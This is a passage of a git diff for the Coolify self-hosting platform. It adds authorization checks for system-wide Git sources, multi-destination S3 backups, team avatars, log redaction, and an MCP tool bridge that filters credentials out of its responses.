Livewire\Component; class Index extends Component { use AuthorizesRequests; + use RemembersCanvasView; public Team $team; @@ -46,6 +48,9 @@ class Index extends Component public function mount() { + if ($this->prefersCanvasView('team_variables')) { + return $this->redirectRoute('shared-variables.team.canvas', navigate: true); + } $this->team = currentTeam(); $this->getDevView(); } diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index a5f60fc0e8..7e0753ad69 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -325,7 +325,7 @@ class Change extends Component $this->ipv4 = 'http://'.$settings->public_ipv4.':'.config('app.port'); } if ($settings->public_ipv6) { - $this->ipv6 = 'http://'.$settings->public_ipv6.':'.config('app.port'); + $this->ipv6 = 'http://'.formatHostForUrl($settings->public_ipv6).':'.config('app.port'); } if ($this->github_app->installation_id && session('from')) { $source_id = data_get(session('from'), 'source_id'); @@ -416,10 +416,18 @@ class Change extends Component } } + private function authorizeSystemWideChange(): void + { + if ($this->isSystemWide && ! $this->github_app->is_system_wide) { + $this->authorize('makeSystemWide', GithubApp::class); + } + } + public function submit() { try { $this->authorize('update', $this->github_app); + $this->authorizeSystemWideChange(); $this->organization = normalizeGithubOrganization($this->organization); $this->apiUrl = filled($this->apiUrl) @@ -455,6 +463,7 @@ class Change extends Component { try { $this->authorize('update', $this->github_app); + $this->authorizeSystemWideChange(); $this->validateOnly('privateKeyId'); diff --git a/app/Livewire/Source/Github/Create.php b/app/Livewire/Source/Github/Create.php index 88eb296e5d..329528aaa4 100644 --- a/app/Livewire/Source/Github/Create.php +++ b/app/Livewire/Source/Github/Create.php @@ -83,6 +83,9 @@ class Create extends Component 'is_system_wide' => $this->is_system_wide, 'team_id' => currentTeam()->id, ]; + if ($this->is_system_wide) { + $this->authorize('makeSystemWide', GithubApp::class); + } $github_app = GithubApp::create($payload); if (session('from')) { session(['from' => session('from') + ['source_id' => $github_app->id]]); diff --git a/app/Livewire/Source/Gitlab/Change.php b/app/Livewire/Source/Gitlab/Change.php index a0e2049e01..67bcea322b 100644 --- a/app/Livewire/Source/Gitlab/Change.php +++ b/app/Livewire/Source/Gitlab/Change.php @@ -156,7 +156,7 @@ class Change extends Component $this->ipv4 = 'http://'.$settings->public_ipv4.':'.config('app.port'); } if ($settings->public_ipv6) { - $this->ipv6 = 'http://'.$settings->public_ipv6.':'.config('app.port'); + $this->ipv6 = 'http://'.formatHostForUrl($settings->public_ipv6).':'.config('app.port'); } $this->parameters = get_route_parameters(); @@ -264,10 +264,18 @@ class Change extends Component } } + private function authorizeSystemWideChange(): void + { + if ($this->isSystemWide && ! $this->gitlab_app->is_system_wide) { + $this->authorize('makeSystemWide', GitlabApp::class); + } + } + public function submit() { try { $this->authorize('update', $this->gitlab_app); + $this->authorizeSystemWideChange(); $this->validate(); @@ -283,6 +291,7 @@ class Change extends Component { try { $this->authorize('update', $this->gitlab_app); + $this->authorizeSystemWideChange(); $this->validateOnly('isSystemWide'); diff --git a/app/Livewire/Source/Gitlab/Create.php b/app/Livewire/Source/Gitlab/Create.php index 2846d20b1b..5156047faf 100644 --- a/app/Livewire/Source/Gitlab/Create.php +++ b/app/Livewire/Source/Gitlab/Create.php @@ -67,6 +67,10 @@ class Create extends Component 'group_name' => 'nullable|string', ]); + if ($this->is_system_wide) { + $this->authorize('makeSystemWide', GitlabApp::class); + } + $gitlab_app = GitlabApp::create([ 'name' => $this->name, 'api_url' => $this->api_url, diff --git a/app/Livewire/Storage/Resources.php b/app/Livewire/Storage/Resources.php index 95e7917515..306a6a4a5f 100644 --- a/app/Livewire/Storage/Resources.php +++ b/app/Livewire/Storage/Resources.php @@ -9,6 +9,7 @@ use App\Models\ScheduledVolumeBackup; use App\Models\Service; use App\Models\ServiceApplication; use App\Models\ServiceDatabase; +use Illuminate\Database\Eloquent\Builder; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -26,7 +27,7 @@ class Resources extends Component { $this->authorize('view', $this->storage); - $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + $backups = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) ->where('save_s3', true) ->get(); @@ -34,8 +35,7 @@ class Resources extends Component $this->selectedStorages[$backup->id] = $this->storage->id; } - ScheduledVolumeBackup::query() - ->where('s3_storage_id', $this->storage->id) + $this->backupsUsingStorage(ScheduledVolumeBackup::query()) ->where('save_s3', true) ->each(function (ScheduledVolumeBackup $backup): void { $this->selectedVolumeStorages[$backup->id] = $this->storage->id; @@ -46,29 +46,26 @@ class Resources extends Component { $this->authorize('update', $this->storage); - $backup = ScheduledDatabaseBackup::where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) + ->whereKey($backupId) ->firstOrFail(); - $backup->fill([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, null); $this->auditDatabaseBackupUpdated($backup, $changedFields); unset($this->selectedStorages[$backupId]); - $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + $this->dispatch('success', 'Storage removed.', $backup->save_s3 + ? 'This storage was removed from the schedule destinations.' + : 'S3 backup has been disabled for this schedule.'); } public function moveBackup(int $backupId): void { $this->authorize('update', $this->storage); - $backup = ScheduledDatabaseBackup::where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) + ->whereKey($backupId) ->firstOrFail(); $newStorageId = $this->selectedStorages[$backupId] ?? null; @@ -90,9 +87,7 @@ class Resources extends Component $this->authorize('update', $newStorage); - $backup->s3_storage_id = $newStorage->id; - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, $newStorage->id); $this->auditDatabaseBackupUpdated($backup, $changedFields); unset($this->selectedStorages[$backupId]); @@ -104,31 +99,26 @@ class Resources extends Component { $this->authorize('update', $this->storage); - $backup = ScheduledVolumeBackup::query() - ->where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledVolumeBackup::query()) + ->whereKey($backupId) ->firstOrFail(); - $backup->fill([ - 'save_s3' => false, - 's3_storage_id' => null, - ]); - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, null); $this->auditVolumeBackupUpdated($backup, $changedFields); unset($this->selectedVolumeStorages[$backupId]); - $this->dispatch('success', 'S3 disabled.', 'S3 backup has been disabled for this schedule.'); + $this->dispatch('success', 'Storage removed.', $backup->save_s3 + ? 'This storage was removed from the schedule destinations.' + : 'S3 backup has been disabled for this schedule.'); } public function moveVolumeBackup(int $backupId): void { $this->authorize('update', $this->storage); - $backup = ScheduledVolumeBackup::query() - ->where('id', $backupId) - ->where('s3_storage_id', $this->storage->id) + $backup = $this->backupsUsingStorage(ScheduledVolumeBackup::query()) + ->whereKey($backupId) ->firstOrFail(); $newStorageId = $this->selectedVolumeStorages[$backupId] ?? null; @@ -151,9 +141,7 @@ class Resources extends Component $this->authorize('update', $newStorage); - $backup->s3_storage_id = $newStorage->id; - $changedFields = auditChangedFields($backup); - $backup->save(); + $changedFields = $this->replaceStorage($backup, $newStorage->id); $this->auditVolumeBackupUpdated($backup, $changedFields); unset($this->selectedVolumeStorages[$backupId]); @@ -161,6 +149,49 @@ class Resources extends Component $this->dispatch('success', 'Backup moved.', "Moved to {$newStorage->name}."); } + /** + * Schedules that have this storage among their destinations. + * + * @template TModel of ScheduledDatabaseBackup|ScheduledVolumeBackup + * + * @param Builder $query + * @return Builder + */ + private function backupsUsingStorage(Builder $query): Builder + { + return $query->usingS3Storage($this->storage->id); + } + + /** + * Replaces this storage in the destinations of a schedule, or removes it when no replacement is given. S3 backups + * turn off when no destination remains. + * + * @return array Names of the changed backup fields. + */ + private function replaceStorage(ScheduledDatabaseBackup|ScheduledVolumeBackup $backup, ?int $newStorageId): array + { + $storageIds = $backup->selectedS3Storages() + ->pluck('id') + ->map(fn (int $id): ?int => $id === $this->storage->id ? $newStorageId : $id) + ->filter() + ->unique() + ->values(); + $previousPrimaryId = $backup->s3_storage_id; + + $backup->syncS3Storages($storageIds->all()); + + $changedFields = ['s3_storages']; + if ($backup->s3_storage_id !== $previousPrimaryId) { + $changedFields[] = 's3_storage_id'; + } + if ($storageIds->isEmpty() && $backup->save_s3) { + $backup->update(['save_s3' => false]); + $changedFields[] = 'save_s3'; + } + + return $changedFields; + } + /** * @param array $changedFields */ @@ -211,7 +242,7 @@ class Resources extends Component public function render() { - $backups = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id) + $backups = $this->backupsUsingStorage(ScheduledDatabaseBackup::query()) ->where('save_s3', true) ->with('database') ->get() @@ -221,8 +252,7 @@ class Resources extends Component ->orderBy('name') ->get(['id', 'name', 'is_usable']); - $volumeBackups = ScheduledVolumeBackup::query() - ->where('s3_storage_id', $this->storage->id) + $volumeBackups = $this->backupsUsingStorage(ScheduledVolumeBackup::query()) ->where('save_s3', true) ->with('backupable.resource') ->get(); diff --git a/app/Livewire/Storage/Show.php b/app/Livewire/Storage/Show.php index 17abd19e51..b7ddfcf5e2 100644 --- a/app/Livewire/Storage/Show.php +++ b/app/Livewire/Storage/Show.php @@ -32,8 +32,10 @@ class Show extends Component return $this->redirectRoute('storage.index', navigate: true); } $this->currentRoute = request()->route()->getName(); - $this->backupCount = ScheduledDatabaseBackup::where('s3_storage_id', $this->storage->id)->count() - + ScheduledVolumeBackup::where('s3_storage_id', $this->storage->id)->count(); + $this->backupCount = collect([ScheduledDatabaseBackup::class, ScheduledVolumeBackup::class]) + ->sum(fn (string $backupModel): int => $backupModel::query() + ->usingS3Storage($this->storage->id) + ->count()); } public function delete() diff --git a/app/Livewire/SwitchTeam.php b/app/Livewire/SwitchTeam.php index 3df399b100..11d7141537 100644 --- a/app/Livewire/SwitchTeam.php +++ b/app/Livewire/SwitchTeam.php @@ -9,6 +9,8 @@ class SwitchTeam extends Component { public string $selectedTeamId = 'default'; + protected $listeners = ['team-avatar-updated' => '$refresh']; + public function mount() { $this->selectedTeamId = auth()->user()->currentTeam()->id; diff --git a/app/Livewire/Tags/Canvas.php b/app/Livewire/Tags/Canvas.php new file mode 100644 index 0000000000..d8474e5d2c --- /dev/null +++ b/app/Livewire/Tags/Canvas.php @@ -0,0 +1,39 @@ +authorize('viewAny', Tag::class); + $this->teamId = currentTeam()->id; + $this->rememberView('tags', 'canvas'); + } + + public function render(): View + { + return view('livewire.tags.canvas')->layout('layouts.app', ['fullBleed' => true]); + } +} diff --git a/app/Livewire/Tags/Show.php b/app/Livewire/Tags/Show.php index 381fb0462c..e2f4980d75 100644 --- a/app/Livewire/Tags/Show.php +++ b/app/Livewire/Tags/Show.php @@ -3,6 +3,8 @@ namespace App\Livewire\Tags; use App\Http\Controllers\Api\DeployController; +use App\Livewire\Concerns\CreatesTags; +use App\Livewire\Concerns\RemembersCanvasView; use App\Models\ApplicationDeploymentQueue; use App\Models\Tag; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -15,6 +17,8 @@ use Livewire\Component; class Show extends Component { use AuthorizesRequests; + use CreatesTags; + use RemembersCanvasView; #[Locked] public ?string $tagName = null; @@ -39,6 +43,10 @@ class Show extends Component public function mount() { + if (str($this->tagName)->isEmpty() && $this->prefersCanvasView('tags')) { + return $this->redirectRoute('tags.canvas', navigate: true); + } + try { $this->tags = Tag::ownedByCurrentTeam() ->withCount(['applications', 'services']) @@ -115,6 +123,25 @@ class Show extends Component } } + /** + * Creates a tag without resources. Tag resources on the tags canvas or on the resource. + */ + /** + * Deletes the tag and removes it from every resource. + */ + public function deleteTag() + { + try { + $this->authorize('delete', $this->tag); + // taggables rows cascade-delete via FK on tag_id + $this->tag->delete(); + + return $this->redirectRoute('tags.show', navigate: true); + } catch (\Exception $e) { + return handleError($e, $this); + } + } + public function render() { return view('livewire.tags.show', [ diff --git a/app/Livewire/Team/Index.php b/app/Livewire/Team/Index.php index 9ae34b5610..58b940f932 100644 --- a/app/Livewire/Team/Index.php +++ b/app/Livewire/Team/Index.php @@ -4,13 +4,16 @@ namespace App\Livewire\Team; use App\Models\Team; use App\Models\TeamInvitation; +use App\Services\TeamAvatarStorageService; use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; +use Livewire\WithFileUploads; class Index extends Component { use AuthorizesRequests; + use WithFileUploads; public $invitations = []; @@ -25,6 +28,8 @@ class Index extends Component public bool $is_build_server_fallback_enabled = true; + public $avatar; + protected function rules(): array { return [ @@ -84,6 +89,40 @@ class Index extends Component } } + public function uploadAvatar(TeamAvatarStorageService $avatarStorage): bool + { + try { + $this->authorize('update', $this->team); + $this->validate([ + 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:5120', 'dimensions:max_width=6000,max_height=6000'], + ]); + $avatarStorage->storeTeam($this->team, $this->avatar); + $this->reset('avatar'); + refreshSession(); + $this->dispatch('team-avatar-updated'); + $this->dispatch('success', 'Team avatar updated.'); + + return true; + } catch (\Throwable $e) { + handleError($e, $this); + + return false; + } + } + + public function removeAvatar(TeamAvatarStorageService $avatarStorage): void + { + try { + $this->authorize('update', $this->team); + $avatarStorage->deleteTeam($this->team); + refreshSession(); + $this->dispatch('team-avatar-updated'); + $this->dispatch('success', 'Team avatar removed.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + public function render() { return view('livewire.team.index'); diff --git a/app/Livewire/Upgrade.php b/app/Livewire/Upgrade.php index e2ab094944..75d9b32b3e 100644 --- a/app/Livewire/Upgrade.php +++ b/app/Livewire/Upgrade.php @@ -103,7 +103,7 @@ class Upgrade extends Component return ['status' => 'none']; } - $statusFile = '/data/coolify/source/.upgrade-status'; + $statusFile = CoolifyUpgradeStatus::FILE; try { $content = instant_remote_process( diff --git a/app/Logging/RedactSensitiveAuditData.php b/app/Logging/RedactSensitiveAuditData.php new file mode 100644 index 0000000000..901325c0cf --- /dev/null +++ b/app/Logging/RedactSensitiveAuditData.php @@ -0,0 +1,19 @@ +redactor->withoutEmailRedaction()))($logger); + } +} diff --git a/app/Logging/RedactSensitiveData.php b/app/Logging/RedactSensitiveData.php new file mode 100644 index 0000000000..4b58280f33 --- /dev/null +++ b/app/Logging/RedactSensitiveData.php @@ -0,0 +1,76 @@ +getLogger()->pushProcessor(fn (LogRecord $record): LogRecord => $this->redact($record)); + } + + /** + * Self-hosted instances may turn off framework log redaction. Cloud always redacts. + */ + public static function enabled(): bool + { + if (! app()->bound('config')) { + return true; + } + + return isCloud() || config('logging.redaction_enabled', true) !== false; + } + + private function redact(LogRecord $record): LogRecord + { + try { + $message = $this->redactor->redactText($record->message); + $recordContext = $this->redactor->redactValue($this->normalizeThrowables($record->context)); + $extra = $this->redactor->redactValue($this->normalizeThrowables($record->extra)); + + return $record->with( + message: $message, + context: is_array($recordContext) ? $recordContext : [], + extra: is_array($extra) ? $extra : [], + ); + } catch (Throwable) { + return $record->with( + message: SensitiveDataRedactor::FAILURE_MESSAGE, + context: [], + extra: [], + ); + } + } + + private function normalizeThrowables(mixed $value): mixed + { + if ($value instanceof Throwable) { + return [ + 'class' => $value::class, + 'message' => $value->getMessage(), + 'code' => $value->getCode(), + 'file' => $value->getFile(), + 'line' => $value->getLine(), + 'trace' => $value->getTraceAsString(), + 'previous' => $this->normalizeThrowables($value->getPrevious()), + ]; + } + + if (! is_array($value)) { + return $value; + } + + return array_map($this->normalizeThrowables(...), $value); + } +} diff --git a/app/Mcp/Concerns/BuildsResponse.php b/app/Mcp/Concerns/BuildsResponse.php index f6311f22bb..ae3899d60f 100644 --- a/app/Mcp/Concerns/BuildsResponse.php +++ b/app/Mcp/Concerns/BuildsResponse.php @@ -2,6 +2,7 @@ namespace App\Mcp\Concerns; +use App\Services\Security\SensitiveDataRedactor; use Laravel\Mcp\Request; use Laravel\Mcp\Response; @@ -81,11 +82,12 @@ trait BuildsResponse * Recursively remove sensitive keys from any nested array structure. * * @param array $data + * @param array $publicKeys Identifiers required by management actions. * @return array */ - protected function scrubSensitive(array $data): array + protected function scrubSensitive(array $data, array $publicKeys = []): array { - $deny = array_flip($this->sensitiveKeys); + $deny = array_flip(array_diff($this->sensitiveKeys, $publicKeys)); $walk = function ($value) use (&$walk, $deny) { if (! is_array($value)) { @@ -108,27 +110,13 @@ trait BuildsResponse /** * Best-effort redaction for free-form log text shown to MCP clients. - * Uses remove_iip plus common KEY=value / JSON secret patterns; not a guarantee. + * Uses SensitiveDataRedactor patterns plus the given resource values; not a guarantee. + * + * @param array{known?: array, locked?: array} $secrets Values from EnvironmentVariable::logRedactionSecretsFor(). */ - protected function redactLogText(string $text): string + protected function redactLogText(string $text, array $secrets = []): string { - $text = remove_iip($text); - - // password= / secret= / token= / "token":"..." style (shell or JSON; quoted or bare) - $text = preg_replace( - '/(?redactText($text, $secrets['known'] ?? [], $secrets['locked'] ?? []); } /** diff --git a/app/Mcp/Concerns/CallsRestApi.php b/app/Mcp/Concerns/CallsRestApi.php new file mode 100644 index 0000000000..32a7286233 --- /dev/null +++ b/app/Mcp/Concerns/CallsRestApi.php @@ -0,0 +1,170 @@ + + */ + private array $blockedRestPaths = [ + 'api/v1/enable', + 'api/v1/disable', + 'api/v1/mcp/', + 'api/v1/feedback', + 'api/v1/sentinel/', + 'api/v1/settings/', + 'api/v1/teams', + 'api/v1/security/integration-tokens', + ]; + + /** + * Response keys that are never returned to MCP clients, whatever the token abilities are. + */ + private string $neverReturnKeyPattern = '/(private_key|secret|api_key|license_key|user_key|webhook_url|password|^(internal|external)_db_url$|(^|_)token$)/i'; + + private const MAX_BODY_BYTES = 1_048_576; + + /** + * @param array $pathParams Values for {placeholders} in $path. + * @param array $body + * @return array{status: int, body: mixed} + */ + protected function callRestApi(string $method, string $path, array $pathParams = [], array $body = []): array + { + $resolvedPath = preg_replace_callback('/\{(\w+)\}/', function (array $match) use ($pathParams): string { + $value = $pathParams[$match[1]] ?? null; + if (! $this->isSafePathSegment($value)) { + throw new \InvalidArgumentException("{$match[1]} is missing or has invalid characters."); + } + + return rawurlencode((string) $value); + }, $path); + + $uri = '/api/v1/'.ltrim($resolvedPath, '/'); + foreach ($this->blockedRestPaths as $blocked) { + if (str_starts_with(ltrim($uri, '/'), $blocked)) { + throw new \InvalidArgumentException('This API route is not available through MCP.'); + } + } + + $json = json_encode((object) $body, JSON_THROW_ON_ERROR); + if (strlen($json) > self::MAX_BODY_BYTES) { + throw new \InvalidArgumentException('Request data is too large.'); + } + + // REST controllers read GET filters and DELETE flags (?force=...) from the query string. + $usesQueryString = in_array($method, ['GET', 'DELETE'], true); + + /** @var HttpRequest $original */ + $original = app('request'); + if ($usesQueryString && $body !== []) { + $uri .= '?'.http_build_query($body); + } + + $subRequest = HttpRequest::create( + $uri, + $method, + $usesQueryString ? [] : $body, + [], + [], + $original->server->all(), + $usesQueryString ? null : $json, + ); + if (! $usesQueryString) { + // Same input as a real JSON request: $request->get()/all() read the JSON body. + $subRequest->setJson(new InputBag($body)); + $subRequest->request = $subRequest->json(); + } + $subRequest->headers->set('Accept', 'application/json'); + $subRequest->headers->set('Content-Type', 'application/json'); + // Server-side marker only: request attributes cannot be set by the client. + $subRequest->attributes->set('mcp_rest_bridge', true); + $subRequest->setUserResolver($original->getUserResolver()); + + /** @var Router $router */ + $router = app('router'); + + app()->instance('request', $subRequest); + Facade::clearResolvedInstance('request'); + + try { + $route = $router->getRoutes()->match($subRequest); + $subRequest->setRouteResolver(fn () => $route); + + $response = (new Pipeline(app())) + ->send($subRequest) + ->through($router->gatherRouteMiddleware($route)) + ->then(fn ($request) => $router->prepareResponse($request, $route->run())); + } catch (HttpExceptionInterface $e) { + return ['status' => $e->getStatusCode(), 'body' => ['message' => $e->getMessage() ?: 'Not found.']]; + } catch (Throwable $e) { + report($e); + + return ['status' => 500, 'body' => ['message' => 'Something went wrong while processing the request.']]; + } finally { + app()->instance('request', $original); + Facade::clearResolvedInstance('request'); + } + + $decoded = json_decode((string) $response->getContent(), true); + + if (is_array($decoded)) { + $decoded = $this->removeNeverReturnedKeys($decoded); + // Some REST write responses include credentials (for example database URLs) for write-only tokens. + if ($subRequest->attributes->get('can_read_sensitive') !== true) { + // REST management actions use the record id for follow-up updates and deletes. + // Keep foreign IDs and credentials filtered; read tools still omit record IDs. + $decoded = $this->scrubSensitive($decoded, ['id']); + } + } + + return [ + 'status' => $response->getStatusCode(), + 'body' => is_array($decoded) ? $decoded : ['message' => (string) $response->getContent()], + ]; + } + + private function isSafePathSegment(mixed $value): bool + { + if (is_int($value)) { + return $value >= 0; + } + + return is_string($value) && preg_match('/^[A-Za-z0-9][A-Za-z0-9_.:\-]{0,254}$/', $value) === 1 && ! str_contains($value, '..'); + } + + /** + * @param array $data + * @return array + */ + private function removeNeverReturnedKeys(array $data): array + { + $out = []; + foreach ($data as $key => $value) { + if (is_string($key) && preg_match($this->neverReturnKeyPattern, $key) === 1) { + continue; + } + $out[$key] = is_array($value) ? $this->removeNeverReturnedKeys($value) : $value; + } + + return $out; + } +} diff --git a/app/Mcp/Concerns/ChecksTokenAbilities.php b/app/Mcp/Concerns/ChecksTokenAbilities.php new file mode 100644 index 0000000000..a46d425024 --- /dev/null +++ b/app/Mcp/Concerns/ChecksTokenAbilities.php @@ -0,0 +1,17 @@ +user()?->currentAccessToken(); + + return $token !== null && ($token->can('root') || $token->can($ability)); + } +} diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php index fc15f78867..d77455b170 100644 --- a/app/Mcp/Concerns/ResolvesTeam.php +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -68,6 +68,18 @@ trait ResolvesTeam return Response::error("Missing required permissions: {$ability}"); } + /** + * Destructive tools must call this so agents cannot cause damage or downtime without an explicit confirm=true. + */ + protected function ensureConfirmed(Request $request, string $action): ?Response + { + if (filter_var($request->get('confirm'), FILTER_VALIDATE_BOOLEAN)) { + return null; + } + + return $this->mcpError($request, "{$action} requires confirm=true."); + } + protected function resolveTeamId(Request $request): ?int { $user = $request->user(); diff --git a/app/Mcp/Servers/CoolifyServer.php b/app/Mcp/Servers/CoolifyServer.php index 957109590a..115b36c0fc 100644 --- a/app/Mcp/Servers/CoolifyServer.php +++ b/app/Mcp/Servers/CoolifyServer.php @@ -7,26 +7,36 @@ use App\Mcp\Prompts\TroubleshootApplication; use App\Mcp\Resources\ApplicationResource; use App\Mcp\Resources\InfrastructureOverviewResource; use App\Mcp\Tools\CancelDeployment; +use App\Mcp\Tools\CloudProvider; use App\Mcp\Tools\Control; use App\Mcp\Tools\CoolifyHelp; +use App\Mcp\Tools\CreateApplication; +use App\Mcp\Tools\CreateDatabase; +use App\Mcp\Tools\CreateService; use App\Mcp\Tools\Deploy; +use App\Mcp\Tools\DockerCleanup; use App\Mcp\Tools\GetApplication; +use App\Mcp\Tools\GetApplicationPreview; use App\Mcp\Tools\GetCurrentTeam; use App\Mcp\Tools\GetDatabase; +use App\Mcp\Tools\GetDatabaseImport; use App\Mcp\Tools\GetDeployment; use App\Mcp\Tools\GetDestination; use App\Mcp\Tools\GetEnvironment; +use App\Mcp\Tools\GetEnvValues; use App\Mcp\Tools\GetInfrastructureOverview; use App\Mcp\Tools\GetLogs; use App\Mcp\Tools\GetProject; use App\Mcp\Tools\GetServer; use App\Mcp\Tools\GetServerDomains; +use App\Mcp\Tools\GetServerMetrics; use App\Mcp\Tools\GetServerResources; use App\Mcp\Tools\GetService; use App\Mcp\Tools\GetServiceApplication; use App\Mcp\Tools\GetServiceDatabase; use App\Mcp\Tools\ListApplicationPreviews; use App\Mcp\Tools\ListApplications; +use App\Mcp\Tools\ListAuditEvents; use App\Mcp\Tools\ListBackupExecutions; use App\Mcp\Tools\ListDatabaseBackups; use App\Mcp\Tools\ListDatabases; @@ -39,25 +49,48 @@ use App\Mcp\Tools\ListGithubRepositories; use App\Mcp\Tools\ListProjects; use App\Mcp\Tools\ListResources; use App\Mcp\Tools\ListResourceTags; +use App\Mcp\Tools\ListRollbackImages; use App\Mcp\Tools\ListScheduledTaskExecutions; use App\Mcp\Tools\ListScheduledTasks; use App\Mcp\Tools\ListServers; use App\Mcp\Tools\ListServiceApplications; use App\Mcp\Tools\ListServiceDatabases; use App\Mcp\Tools\ListServices; +use App\Mcp\Tools\ListServiceTemplates; use App\Mcp\Tools\ListSharedEnvKeys; use App\Mcp\Tools\ListStorages; use App\Mcp\Tools\ListTags; use App\Mcp\Tools\ListTeamMembers; use App\Mcp\Tools\ListUnhealthyResources; +use App\Mcp\Tools\ManageApplication; +use App\Mcp\Tools\ManageBackup; +use App\Mcp\Tools\ManageDatabase; +use App\Mcp\Tools\ManageDestination; +use App\Mcp\Tools\ManageEnv; +use App\Mcp\Tools\ManageGitSource; +use App\Mcp\Tools\ManageNotifications; +use App\Mcp\Tools\ManagePreview; +use App\Mcp\Tools\ManagePrivateKey; +use App\Mcp\Tools\ManageProject; +use App\Mcp\Tools\ManageProxy; +use App\Mcp\Tools\ManageRegistry; +use App\Mcp\Tools\ManageS3Storage; +use App\Mcp\Tools\ManageScheduledTask; +use App\Mcp\Tools\ManageServer; +use App\Mcp\Tools\ManageService; +use App\Mcp\Tools\ManageSharedEnv; +use App\Mcp\Tools\ManageStorage; +use App\Mcp\Tools\ManageTags; +use App\Mcp\Tools\RollbackApplication; use App\Mcp\Tools\SearchResources; use Laravel\Mcp\Server; +use Laravel\Mcp\Server\Tool; class CoolifyServer extends Server { protected string $name = 'Coolify'; - protected string $version = '0.2.0'; + protected string $version = '0.3.0'; /** * Return all registered tools in a single tools/list page (default package limit is 15). @@ -70,7 +103,7 @@ class CoolifyServer extends Server Coolify MCP for the authenticated team token. Every tool enforces team ownership. Start here (prefer these before deep get_*): -1. coolify_help — tool catalog by intent (overview|search|debug|deploy|essentials). +1. coolify_help — tools this token can use, plus step-by-step recipes (topic=deploy_app_from_git, add_database_to_app, ...). 2. get_infrastructure_overview — counts + health_hints. 3. search_resources — fuzzy name/UUID/domain when type is unknown. 4. list_unhealthy_resources sample_only=true — cheap "what's broken?" sample + counts. @@ -82,15 +115,22 @@ Then: list_*/get_* for details. Debug is DB-first: Lifecycle (requires token ability **deploy**): - control (start|stop|restart; stop needs confirm=true) -- deploy, cancel_deployment +- deploy, cancel_deployment, rollback_application + +Changes (requires token ability **write**): manage_* and create_* tools. They run the same REST API routes, with the same validation and permissions. Destructive actions need confirm=true: ask the user first. Prompts: troubleshoot_application, explain_failed_deploy. Resources: coolify://overview, coolify://application/{uuid}. -Responses: `{ data, _actions?, _pagination? }`. Env values, configuration snapshots, and full deploy logs are never returned. Optional deploy log summaries are best-effort redacted only. +Responses: `{ data, _actions?, _pagination? }`. Private keys, S3 secrets, tokens, passwords, and webhook URLs are never returned. Env values only with get_env_values (read:sensitive). Full deploy logs are never returned; optional log summaries are best-effort redacted only. MD; - protected array $tools = [ + /** + * Every tool class. Tools hide themselves when the token cannot use them (shouldRegister). + * + * @var array> + */ + public const TOOLS = [ CoolifyHelp::class, GetInfrastructureOverview::class, SearchResources::class, @@ -136,8 +176,42 @@ MD; Control::class, Deploy::class, CancelDeployment::class, + ManageProject::class, + CreateDatabase::class, + ManageDatabase::class, + GetDatabaseImport::class, + ListServiceTemplates::class, + CreateService::class, + ManageService::class, + ManageEnv::class, + ManageSharedEnv::class, + GetEnvValues::class, + CreateApplication::class, + ManageApplication::class, + ManagePreview::class, + GetApplicationPreview::class, + RollbackApplication::class, + ListRollbackImages::class, + ManageScheduledTask::class, + ManageBackup::class, + ManageStorage::class, + ManageTags::class, + ManageServer::class, + ManageProxy::class, + DockerCleanup::class, + ManageDestination::class, + ManageRegistry::class, + ManagePrivateKey::class, + ManageS3Storage::class, + ManageGitSource::class, + CloudProvider::class, + ManageNotifications::class, + ListAuditEvents::class, + GetServerMetrics::class, ]; + protected array $tools = self::TOOLS; + protected array $resources = [ InfrastructureOverviewResource::class, ApplicationResource::class, diff --git a/app/Mcp/Tools/CancelDeployment.php b/app/Mcp/Tools/CancelDeployment.php index c9913c4e5f..a7cb96ef84 100644 --- a/app/Mcp/Tools/CancelDeployment.php +++ b/app/Mcp/Tools/CancelDeployment.php @@ -5,6 +5,7 @@ namespace App\Mcp\Tools; use App\Actions\Application\CleanupCancelledDeployment; use App\Enums\ApplicationDeploymentStatus; use App\Mcp\Concerns\BuildsResponse; +use App\Mcp\Concerns\ChecksTokenAbilities; use App\Mcp\Concerns\ResolvesTeam; use App\Models\ApplicationDeploymentQueue; use App\Models\Server; @@ -12,7 +13,13 @@ use Illuminate\Contracts\JsonSchema\JsonSchema; use Laravel\Mcp\Request; use Laravel\Mcp\Response; use Laravel\Mcp\Server\Tool; +use Laravel\Mcp\Server\Tools\Annotations\IsDestructive; +use Laravel\Mcp\Server\Tools\Annotations\IsIdempotent; +use Laravel\Mcp\Server\Tools\Annotations\IsReadOnly; +#[IsReadOnly(false)] +#[IsDestructive] +#[IsIdempotent] class CancelDeployment extends Tool { protected string $name = 'cancel_deployment'; @@ -20,8 +27,14 @@ class CancelDeployment extends Tool protected string $description = 'Cancel a queued or in-progress deployment by deployment UUID for the authenticated team. Requires deploy ability.'; use BuildsResponse; + use ChecksTokenAbilities; use ResolvesTeam; + public function shouldRegister(): bool + { + return $this->currentTokenCan('deploy'); + } + public function handle(Request $request): Response { if ($error = $this->ensureAbility($request, 'deploy', $this->name)) { diff --git a/app/Mcp/Tools/CloudProvider.php b/app/Mcp/Tools/CloudProvider.php new file mode 100644 index 0000000000..fdc545c258 --- /dev/null +++ b/app/Mcp/Tools/CloudProvider.php 